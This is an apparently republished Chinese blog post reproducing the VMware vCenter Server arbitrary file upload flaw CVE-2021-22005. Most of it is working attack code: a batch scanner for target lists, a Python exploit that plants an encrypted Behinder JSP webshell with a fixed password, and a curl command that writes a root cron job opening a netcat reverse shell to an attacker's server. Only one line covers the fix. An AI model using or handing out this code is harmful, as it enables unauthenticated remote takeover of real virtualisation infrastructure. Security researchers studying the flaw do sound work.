VMware vCenter Server任意文件上传漏洞(CVE-2021-22005)复现

Posted 小缘喵~

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了VMware vCenter Server任意文件上传漏洞(CVE-2021-22005)复现相关的知识,希望对你有一定的参考价值。

目录

漏洞描述

影响版本

漏洞批量检测poc

漏洞EXP

反弹shell EXP

修复建议


声明:切勿用于非法入侵,仅供检测与学习!传送门 ——> 中华人民共和国网络安全法

漏洞描述

2021年9月21日,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。

其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意文件在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。

根据Shodan的搜索结果,数以千计的vCenter Server可通过互联网访问并受到攻击 。目前已经检测到攻击者正在扫描和攻击存在漏洞的VMware vCenter 服务器。

影响版本

  • VMware vCenter Server 7.0
  • VMware vCenter Server 6.7
  • 注:CVE-2021-22005会影响所有默认配置的 vCenter Server 6.7 和 7.0 部署,不会影响 vCenter Server 6.5。其它18个漏洞的影响范围请参见VMware官方公告。

漏洞批量检测poc

我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
  • 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 
  • 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
  • 如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 
  • 如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。
  • 任何其他状态代码可能暗示不适用。

构建POC如下

#author: 小缘喵
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
headers={
    'User-Agent':'Mozilla/5.0 (Linux; android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}

params = (
    ('_c', 'test'),
)
for i in open('漏洞url所在的.txt','r'):
    if 'https' in i:
        i = i.strip('\\r\\n')
        url = i + "/analytics/telemetry/ph/api/level"
        try:
            r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10)
            code = r.status_code
            if code == 200:
                text = r.text
                if text:
                    if "OFF" not in text:
                        print(f"\\033[0;31m{url}\\033[0m 可能存在漏洞")
                        with open('vul.text','a',encoding='utf-8') as f:
                            f.write(i+"\\r")
            else:
                print(f"{i} 不存在漏洞")
        except:
            pass
    else:
        pass

漏洞EXP

用法:CVE-2021-22005_poc.py  -t  https://ip地址

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
def escape(_str):
    _str = _str.replace("&", "&")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\\"", "&quot;")
    return _str
    
def str_to_escaped_unicode(arg_str):
    escaped_str = ''
    for s in arg_str:
        val = ord(s)
        esc_uni = "\\\\u{:04x}".format(val)
        escaped_str += esc_uni
    return escaped_str


def createAgent(target, agent_name, log_param):

    
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = { "Cache-Control": "max-age=0", 
               "Upgrade-Insecure-Requests": "1", 
               "User-Agent": "Mozilla/5.0", 
               "X-Deployment-Secret": "abc", 
               "Content-Type": "application/json", 
               "Connection": "close" }
               
    json_data = { "manifestSpec":{}, 
                  "objectType": "a2",
                  "collectionTriggerDataNeeded":  True,
                  "deploymentDataNeeded":True, 
                  "resultNeeded": True, 
                  "signalCollectionCompleted":True, 
                  "localManifestPath": "a7",
                  "localPayloadPath": "a8",
                  "localObfuscationMapPath": "a9" }
                  
    requests.post(url, headers=headers, json=json_data, verify=False)
    

def generate_manifest(webshell_location, webshell):

    manifestData = """<manifest recommendedPageSize="500">
       <request>
          <query name="vir:VCenter">
             <constraint>
                <targetType>ServiceInstance</targetType>
             </constraint>
             <propertySpec>
                <propertyNames>content.about.instanceUuid</propertyNames>
                <propertyNames>content.about.osType</propertyNames>
                <propertyNames>content.about.build</propertyNames>
                <propertyNames>content.about.version</propertyNames>
             </propertySpec>
          </query>
       </request>
       <cdfMapping>
          <indepedentResultsMapping>
             <resultSetMappings>
                <entry>
                   <key>vir:VCenter</key>
                   <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                         <resourceItemToJsonLdMapping>
                            <forType>ServiceInstance</forType>
                         <mappingCode><![CDATA[    
                            #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
                            #set($orig_log = $appender.getFile())##
                            #set($logger = $GLOBAL-logger.logger.parent)##     
                            $appender.setFile("%s")##     
                            $appender.activateOptions()##  
                            $logger.warn("%s")##   
                            $appender.setFile($orig_log)##     
                            $appender.activateOptions()##]]>
                         </mappingCode>
                         </resourceItemToJsonLdMapping>
                      </value>
                   </value>
                </entry>
             </resultSetMappings>
          </indepedentResultsMapping>
       </cdfMapping>
       <requestSchedules>
          <schedule interval="1h">
             <queries>
                <query>vir:VCenter</query>
             </queries>
          </schedule>
       </requestSchedules>
    </manifest>""" % (webshell_location, webshell)
    
    return manifestData

def arg():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help = "Target", required = True)
    args = parser.parse_args()
    target = args.target
    print("[*] Target: %s" % target)
    return target

def exec():
    target = arg()
    # Variables
    webshell_param = id_generator(6)
    log_param = id_generator(6)
    agent_name = id_generator(6)
    shell_name = "Server.jsp"
    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""

    webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
    webshell = str_to_escaped_unicode(webshell)
    manifestData = generate_manifest(webshell_location,webshell)
    print("[*] Creating Agent")
    createAgent(target, agent_name, log_param)
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = {"Cache-Control": "max-age=0", 
                     "Upgrade-Insecure-Requests": "1", 
                     "User-Agent": "Mozilla/5.0", 
                     "X-Deployment-Secret": "abc", 
                     "Content-Type": "application/json", 
                     "Connection": "close"}
    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
    requests.post(url, headers=headers, json=json_data, verify=False)
    #webshell连接地址
    url = "%s/idm/..;/%s" % (target, shell_name)
    code = requests.get(url=url, headers=headers,verify=False).status_code
    if code != "404":
        print("webshell地址: %s" % url)
        print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )

    else:
        print("未获取到webshell地址")


if __name__ == '__main__':
    exec()
    

反弹shell EXP

还有另外一种了利用方式,直接将反弹脚本写入计划任务

curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh vpsip地址 6666"

接收反弹shell

修复建议

  • 升级VMware vCenter Server 至最新版本。

以上是关于VMware vCenter Server任意文件上传漏洞(CVE-2021-22005)复现的主要内容,如果未能解决你的问题,请参考以下文章

[POC分享]VMware vCenter Server 7.0 未经身份验证的文件上传

vmware vcenter server数据库怎么配置

[POC分享]VMware vCenter Server 7.0 未经身份验证的文件上传

vmware vcenter server heartbeat终止更新 管理员怎么破

VMware vSphere 6简单部署---VCSA( vCenter Server Appliance)部署

vmware-vcenter-server ova怎么安装